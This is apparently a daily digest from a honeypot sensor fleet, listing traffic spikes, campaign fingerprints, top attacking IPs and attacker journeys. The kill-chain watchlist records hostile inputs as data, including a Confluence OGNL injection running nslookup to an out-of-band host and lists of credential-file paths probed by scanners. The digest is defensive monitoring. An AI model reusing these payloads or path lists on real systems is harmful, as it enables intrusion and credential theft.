flux fleet digest — 2026-09-04 07:34 UTC

Fleet overview (last 24h vs 7-day baseline)

sensor events uniq IPs 7d avg events 7d avg uniq events delta
canary-farm-1 11115 194 5217 153 +113%
ai-devbox-1 1770 133 4574 151 -61%
control-1 4632 100 8523 86 -46%

Result-tag spikes (campaign candidates)

sensor result 24h 7d avg ratio
ai-devbox-1 fake-git 267 69.8 3.8x
canary-farm-1 app-config-json 20 1.5 13.3x
canary-farm-1 app-config-php 109 31.0 3.5x
canary-farm-1 app-config-php-database 24 7.0 3.4x
canary-farm-1 app-config-python 121 33.7 3.6x
canary-farm-1 app-config-yaml 51 13.0 3.9x
canary-farm-1 application-properties 26 7.0 3.7x
canary-farm-1 application-yml 52 14.3 3.6x
canary-farm-1 aws-credentials-file 64 9.2 6.9x
canary-farm-1 aws-credentials-json 23 3.0 7.7x
canary-farm-1 config-json 47 12.0 3.9x
canary-farm-1 docker-compose 42 10.3 4.1x
canary-farm-1 drupal-settings-php 24 6.7 3.6x
canary-farm-1 env-production 1078 253.8 4.2x
canary-farm-1 fake-git 355 54.5 6.5x
canary-farm-1 firebase-json 59 9.7 6.1x
canary-farm-1 gcp-credentials-json 42 8.0 5.2x
canary-farm-1 generic-ci-config 26 6.0 4.3x
canary-farm-1 github-actions-workflow 31 6.0 5.2x
canary-farm-1 iis-web-config 31 9.0 3.4x
canary-farm-1 issued 60 17.0 3.5x
canary-farm-1 k8s-secret-manifest 67 16.0 4.2x
canary-farm-1 kubeconfig 41 11.3 3.6x
canary-farm-1 magento-env 25 8.0 3.1x
canary-farm-1 not-handled 3129 608.3 5.1x
canary-farm-1 phpmyadmin-login 92 13.3 6.9x
canary-farm-1 rails-database-yml 70 19.0 3.7x
canary-farm-1 sql-dump 34 9.7 3.5x
canary-farm-1 ssh-private-key-error 184 47.5 3.9x
canary-farm-1 terraform-tfstate 55 13.7 4.0x
canary-farm-1 terraform-tfvars 24 6.3 3.8x
canary-farm-1 webshell-probe 123 13.2 9.3x
canary-farm-1 wp-config 121 32.7 3.7x
canary-farm-1 wp-login-credentials 52 7.0 7.4x
canary-farm-1 wp-login-probe 107 5.3 20.1x
control-1 app-config-python 41 8.8 4.7x
control-1 aws-credentials-file 46 13.8 3.3x
control-1 env-production 530 168.2 3.2x
control-1 fake-git 95 24.4 3.9x
control-1 firebase-json 36 10.7 3.4x
control-1 gcp-credentials-json 21 6.0 3.5x
control-1 issued 43 9.2 4.7x
control-1 k8s-secret-manifest 24 6.3 3.8x
control-1 ssh-private-key-error 76 11.2 6.8x
control-1 tarpit-module 1260 386.5 3.3x
control-1 terraform-tfstate 24 5.8 4.2x

Campaign clusters (24h, journey-fingerprinted)

signature IPs events sensors first seen sample journey (6 steps)
e6e6f15a77e8 ⟳ 40 121 canary-farm-1 09-03 /wp-login.php [wp-login-probe] → /wp-login.php [wp-login-credentials] → /wp-login.php [wp-login-probe]
3e1c5eb879e7 ⟳ 30 206 ai-devbox-1,canary-farm-1,control-1 ⚠FLEET-WIDE 08-29 / [tarpit-module] → / [tarpit] → / [tarpit-disconnect]
4b4cc0ece037 ⟳ 13 92 ai-devbox-1,canary-farm-1,control-1 ⚠FLEET-WIDE 08-30 / [tarpit-module] → / [tarpit-disconnect] → / [tarpit]
7e61a9500d8b ⟳ 7 343 ai-devbox-1,canary-farm-1,control-1 ⚠FLEET-WIDE 08-29 /bin/sh [cgi-traversal-rce-command] → /bin/sh [cmd-injection-apache-cgi-shell] → /hello.world [cmd-injection-php-cgi-rce] → / [cmd-injection-php-cgi-rce] → /index.php [cmd-injection-php-cgi-rce] → /te
850993125b15 ⟳ 4 164 canary-farm-1 08-29 / [tarpit-module] → /console/ [weblogic-console-login] → /server [not-handled] → /server-status [server-status-html] → /about [not-handled] → /login.action [confluence-login] → …
b07c7bb207b4 ⟳ 4 164 ai-devbox-1 08-29 / [tarpit-module] → /console/ [weblogic-console-login] → /server [not-handled] → /server-status [server-status-html] → /about [not-handled] → /login.action [confluence-login] → …
1cf777711bea ⟳ 3 24 ai-devbox-1,canary-farm-1,control-1 ⚠FLEET-WIDE 09-03 / [tarpit-module] → / [tarpit] → / [tarpit-disconnect] → /favicon.ico [tarpit-module]
4da4da41b920 3 18 canary-farm-1 09-04 /wp-login.php [wp-login-probe] → /wp-login.php [wp-login-credentials] → /wp-login.php [wp-login-probe] → /wp-login.php [wp-login-credentials] → /wp-login.php [wp-login-probe]

Signature = SHA-256 of the ordered path[result] sequence (≤40 steps). Same signature across IPs = one tooling campaign; IPs rotate, signatures persist.

First-seen in this window

New paths:

sensor path first seen
canary-farm-1 /.git/hooks/pre-push.sample 2026-09-04 03:15:46.019214-04:00
canary-farm-1 /.git/logs/refs/stash 2026-09-04 03:15:46.019214-04:00
canary-farm-1 /.git/refs/tags/v1.1 2026-09-04 03:15:46.019214-04:00
canary-farm-1 /.git/logs/refs/tags/stable 2026-09-04 03:15:46.019214-04:00
canary-farm-1 /.git/logs/refs/remotes/origin/ 2026-09-04 03:15:46.019214-04:00
canary-farm-1 /.git/refs/remotes/origin/prod 2026-09-04 03:15:46.019214-04:00
canary-farm-1 /.git/refs/remotes/origin/qa 2026-09-04 03:15:46.019214-04:00
canary-farm-1 /CapBack.jpg 2026-09-04 03:15:46.019214-04:00
ai-devbox-1 /backup/.git/config 2026-09-04 03:15:46.019214-04:00
ai-devbox-1 /legacy/.git/config 2026-09-04 03:15:46.019214-04:00
ai-devbox-1 /build/.git/config 2026-09-04 03:15:46.019214-04:00
ai-devbox-1 /deploy/.git/config 2026-09-04 03:15:46.019214-04:00
ai-devbox-1 /.env.dusk.local 2026-09-04 03:15:46.019214-04:00
ai-devbox-1 /v3/api/.env 2026-09-04 03:15:46.019214-04:00
control-1 /�.env.php 2026-09-04 03:15:46.019214-04:00
control-1 /static/.env 2026-09-04 03:15:46.019214-04:00
control-1 /assets/.env 2026-09-04 03:15:46.019214-04:00
control-1 /htdocs/.env.production 2026-09-04 03:15:46.019214-04:00
control-1 /.poetry/.env 2026-09-04 03:15:46.019214-04:00
control-1 /ftpconfig.json 2026-09-04 03:15:46.019214-04:00

New user agents:

sensor user agent first seen
control-1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/ 2026-09-04 03:31:39.738683-04:00
ai-devbox-1 Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version 2026-09-04 03:31:39.738683-04:00
control-1 Mozilla/5.0 (Windows NT 6.2;en-US) AppleWebKit/537.32.36 (KH 2026-09-04 03:31:39.738683-04:00
canary-farm-1 Mozilla/5.0 (Linux; Android 14; SM-S928B) AppleWebKit/537.36 2026-09-04 03:31:39.738683-04:00
control-1 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 ( 2026-09-04 03:31:39.738683-04:00
control-1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100 2026-09-04 03:15:46.078518-04:00
control-1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 2026-09-04 03:15:46.078518-04:00
control-1 Opera/9.80 (Linux i686; Opera Mobi/1040; U; en) Presto/2.5.2 2026-09-04 03:15:46.078518-04:00
control-1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/5 2026-09-04 03:15:46.078518-04:00
ai-devbox-1 Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/) 2026-09-04 03:15:46.078518-04:00

Top talkers (24h)

sensor IP events trap fams paths first last blocklist ASN org cc POSTed
canary-farm-1 87.120.104.29 3452 117 1674 09-04 05:06 09-04 05:06 - Sino Worldwide Trading Limit NO 0
canary-farm-1 94.154.46.244 2100 107 1042 09-03 11:42 09-03 11:42 - Omegatech LTD US 0
canary-farm-1 94.154.46.243 1903 107 1042 09-03 19:55 09-03 19:55 - Omegatech LTD US 0
control-1 94.154.46.243 1803 116 1674 09-04 03:42 09-04 03:42 - Omegatech LTD US 0
control-1 94.154.46.247 1050 107 1042 09-03 17:01 09-03 17:01 - Omegatech LTD US 0
canary-farm-1 185.19.40.40 1007 5 5 09-03 08:04 09-03 08:05 - 1337 Services GmbH NL 1000
control-1 207.175.90.192 723 130 533 09-03 07:50 09-03 07:51 - Google LLC BE 12
canary-farm-1 34.38.121.96 723 131 533 09-03 09:30 09-03 09:30 - Google LLC BE 12
ai-devbox-1 185.177.72.66 275 36 182 09-03 06:15 09-03 06:20 ipsum:1 Bucklog SARL FR 19
canary-farm-1 196.206.35.222 245 21 42 09-04 04:07 09-04 05:18 - Office National des Postes e MA 27
ai-devbox-1 196.206.35.222 242 15 38 09-04 04:06 09-04 04:47 - Office National des Postes e MA 27
canary-farm-1 23.165.56.117 236 22 55 09-03 04:00 09-03 20:11 - Infocrest Systems LLC US 23
control-1 213.209.159.148 229 36 178 09-03 05:21 09-03 05:22 - Feo Prest SRL DE 0
canary-farm-1 109.205.211.201 144 2 142 09-03 19:56 09-03 19:56 - MEVSPACE sp. z o.o. AZ 0
ai-devbox-1 109.205.211.201 144 2 142 09-03 14:01 09-03 14:01 - MEVSPACE sp. z o.o. AZ 0

Canary economics (24h)

sensor mints distinct minting IPs
canary-farm-1 60 14
control-1 43 6
ai-devbox-1 10 8

Mint failures (24h): control-1:400x1; canary-farm-1:400x15

Mints by type label:

sensor types mints
canary-farm-1 ["aws"] 60
control-1 ["aws"] 43
ai-devbox-1 ["aws"] 10

XFF forgery signals (24h)

  • requests with any X-Forwarded-For: 1151
  • multi-entry XFF (forged chains — no proxy appends on the direct path): 0
  • XFF present but clientIp empty (all-internal forged chains): 0

TLS split + Host census (24h)

sensor protocol events
ai-devbox-1 http 1415
ai-devbox-1 https 355
canary-farm-1 http 10594
canary-farm-1 https 521
control-1 http 4632

Top Host headers:

sensor host events
canary-farm-1 109.123.246.142 9279
control-1 38.54.2.209 4604
canary-farm-1 sso.rightabouteverything.show 1807
ai-devbox-1 217.15.163.226 1184
ai-devbox-1 inference.fapthropic.com 567
canary-farm-1 vmi3243483.contaboserver.net 16
ai-devbox-1 rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion 2
canary-farm-1 rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion 2
control-1 rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion 2
ai-devbox-1 192.0.2.1 2

Control node discovery velocity

  • first event ever: 2026-08-28 11:22 UTC (6 days live)
  • daily unique-IP ramp (newest first):
day events uniq IPs
2026-09-04 4632 100
2026-09-03 2361 105
2026-09-02 4068 105
2026-09-01 15373 107
2026-08-31 24100 88
2026-08-30 3186 70
2026-08-29 2052 39

Kill-chain watchlist (24h)

sensor IP trap fams journey (chronological) ASN org cc
canary-farm-1 34.38.121.96 131 / [tarpit-module] → /aws_leak_probe_3bdee3df [not-handled] → /.env [issued] → /app/.env [env-production] → /read [not-handled] → /actuator/env [actuator-env] → /@fs/proc/self/environ [vite-fs-proc-environ] → /@vite/env [vite-env] → /config.js [webapp-config-bundle-js] → /api/config [app-config-json] → /download [not-handled] → /etc/passwd [not-handled] Google LLC BE
control-1 207.175.90.192 130 / [tarpit-module] → /aws_leak_probe_bd29fc6b [not-handled] → /.env [issued] → /.azure/credentials [azure-credentials-file] → /.aws/credentials [aws-credentials-file] → /@fs/etc/passwd [vite-fs-etc-passwd] → /.git/HEAD [fake-git] → /aws/credentials [aws-credentials-file] → /.git-credentials [git-credentials-error] → /@fs/proc/self/environ [vite-fs-proc-environ] → /.mcp.json [mcp-config] → /etc/passwd [not-handled] Google LLC BE
canary-farm-1 87.120.104.29 117 /wp-config.php~ [wp-config] → /.git/HEAD [fake-git] → /.aws/config [aws-config-file] → /wp-config.old [wp-config] → /config/database.php [app-config-php-database] → /configuration.php [app-config-php] → /wp-config.php.save [wp-config] → /config.php [app-config-php] → /composer.lock [not-handled] → /docker-compose.yaml [docker-compose] → /.aws/credentials [aws-credentials-file] → /local_settings.py [app-config-python] Sino Worldwide Trading Limit NO
control-1 94.154.46.243 116 /config/app.php [app-config-php-services] → /configuration.php [app-config-php] → /wp-config.php.save [wp-config] → /.circleci/config.yml [generic-ci-config] → /config.js [webapp-config-bundle-js] → /Jenkinsfile [jenkinsfile] → /.env.tmp [env-production] → /wp-config.php~ [wp-config] → /.env.test [env-production] → /.env.production.local [env-production] → /.aws/config [aws-config-file] → /.env.save [env-production] Omegatech LTD US
canary-farm-1 94.154.46.243 107 /.git/index [fake-git] → /.env.json [env-production] → /config/application.yml [application-yml] → /config/secrets.yml [rails-secrets-yml] → /wp-config.php.bak [wp-config] → /html/.env [env-production] → /site/.env [env-production] → /laravel/.env [env-production] → /wp-config.bak [wp-config] → /laravel/.env.example [env-production] → /config/database.yml [rails-database-yml] → /wp-config.old [wp-config] Omegatech LTD US
canary-farm-1 94.154.46.244 107 /wp-config.php [wp-config] → /wp-config.php~ [wp-config] → /wp-config.php.bak [wp-config] → /wp-config.php.old [wp-config] → /wp-config.old [wp-config] → /.git/config [fake-git] → /config/database.php [app-config-php-database] → /.git/HEAD [fake-git] → /wp-config.php.save [wp-config] → /settings.php [app-config-php] → /composer.lock [not-handled] → /yarn.lock [yarn-lock-error] Omegatech LTD US
control-1 94.154.46.247 107 /config.php [app-config-php] → /.env_prod [env-production] → /site/.env [env-production] → /html/.env [env-production] → /.env.bak~ [env-production] → /config/master.key [rails-master-key] → /.env.default [env-production] → /.env_old [env-production] → /.env_dev [env-production] → /docker/compose/withMongo/.env [tarpit-module] → /env [actuator-env] → /config.js [webapp-config-bundle-js] Omegatech LTD US
ai-devbox-1 185.177.72.66 36 /wp-json/gravitysmtp/v1/tests/mock-data [gravitysmtp-mock-data] → /aws-credentials.json [aws-credentials-json] → /aws_credentials.json [aws-credentials-json] → /.aws/credentials [aws-credentials-file] → /.aws/config [aws-config-file] → /secrets.json [config-json] → /aws/smtp_config.json [not-handled] → /aws/.env [env-production] → /aws/.env.bak [env-production] → /config/aws.env [aws-env] → /config/aws.json [aws-credentials-json] → /application.yml [application-yml] Bucklog SARL FR
control-1 213.209.159.148 36 /${( [not-handled] → /${@java.lang.Runtime@getRuntime().exec("nslookup da4ghb4upag7j4i9qnqgqz3wwt37mssb7.oast.me")}/ [confluence-ognl-probe] → /.aws/config� [not-handled] → /+CSCOE+/logon.html [cisco-webvpn-logon] → /${@java.lang.Runtime@getRuntime().exec("nslookup da4ghb4upag7j4i9qnqgkscsuimyzt1me.oast.me")}/ [confluence-ognl-probe] → /.aws/credentials [aws-credentials-file] → /.aws/config [aws-config-file] → /.aws/config; [not-handled] → /${@java.lang.Runtime@getRuntime().exec("nslookup da4ghb4upag7j4i9qnqgiuthuggyqaqcy.oast.me")}/ [confluence-ognl-probe] → /.azure/credentials [azure-credentials-file] → /.aws/credentials; [not-handled] → /.azure/credentials; [not-handled] Feo Prest SRL DE
canary-farm-1 207.154.212.47 27 / [tarpit-module] → /console/ [weblogic-console-login] → /server [not-handled] → /server-status [server-status-html] → /about [not-handled] → /login.action [confluence-login] → /___proxy_subdomain_whm/login [whm-login] → /___proxy_subdomain_cpanel [whm-login] → /v2/_catalog [docker-registry-catalog] → /v2/internal/api-gateway/tags/list [docker-registry-tags] → /v2/internal/api-gateway/manifests/latest [docker-registry-manifest] → /v2/internal/auth-service/tags/list [docker-registry-tags] DigitalOcean, LLC DE
canary-farm-1 164.92.107.174 27 / [tarpit-module] → /console/ [weblogic-console-login] → /server [not-handled] → /server-status [server-status-html] → /about [not-handled] → /login.action [confluence-login] → /___proxy_subdomain_whm/login [whm-login] → /___proxy_subdomain_cpanel [whm-login] → /v2/_catalog [docker-registry-catalog] → /v2/internal/api-gateway/tags/list [docker-registry-tags] → /v2/internal/api-gateway/manifests/latest [docker-registry-manifest] → /v2/internal/auth-service/tags/list [docker-registry-tags] DigitalOcean, LLC US
canary-farm-1 46.101.1.225 27 / [tarpit-module] → /console/ [weblogic-console-login] → /server [not-handled] → /server-status [server-status-html] → /about [not-handled] → /login.action [confluence-login] → /___proxy_subdomain_whm/login [whm-login] → /___proxy_subdomain_cpanel [whm-login] → /v2/_catalog [docker-registry-catalog] → /v2/internal/api-gateway/tags/list [docker-registry-tags] → /v2/internal/api-gateway/manifests/latest [docker-registry-manifest] → /v2/internal/auth-service/tags/list [docker-registry-tags] DigitalOcean, LLC GB
ai-devbox-1 164.92.107.174 27 / [tarpit-module] → /console/ [weblogic-console-login] → /server [not-handled] → /server-status [server-status-html] → /about [not-handled] → /login.action [confluence-login] → /___proxy_subdomain_whm/login [whm-login] → /___proxy_subdomain_cpanel [whm-login] → /v2/_catalog [docker-registry-catalog] → /v2/internal/api-gateway/tags/list [docker-registry-tags] → /v2/internal/api-gateway/manifests/latest [docker-registry-manifest] → /v2/internal/auth-service/tags/list [docker-registry-tags] DigitalOcean, LLC US
ai-devbox-1 167.71.175.236 27 / [tarpit-module] → /console/ [weblogic-console-login] → /server [not-handled] → /server-status [server-status-html] → /about [not-handled] → /login.action [confluence-login] → /___proxy_subdomain_whm/login [whm-login] → /___proxy_subdomain_cpanel [whm-login] → /v2/_catalog [docker-registry-catalog] → /v2/internal/api-gateway/tags/list [docker-registry-tags] → /v2/internal/api-gateway/manifests/latest [docker-registry-manifest] → /v2/internal/auth-service/tags/list [docker-registry-tags] DigitalOcean, LLC US
canary-farm-1 164.92.244.132 27 / [tarpit-module] → /console/ [weblogic-console-login] → /server [not-handled] → /server-status [server-status-html] → /about [not-handled] → /login.action [confluence-login] → /___proxy_subdomain_whm/login [whm-login] → /___proxy_subdomain_cpanel [whm-login] → /v2/_catalog [docker-registry-catalog] → /v2/internal/api-gateway/tags/list [docker-registry-tags] → /v2/internal/api-gateway/manifests/latest [docker-registry-manifest] → /v2/internal/auth-service/tags/list [docker-registry-tags] DigitalOcean, LLC DE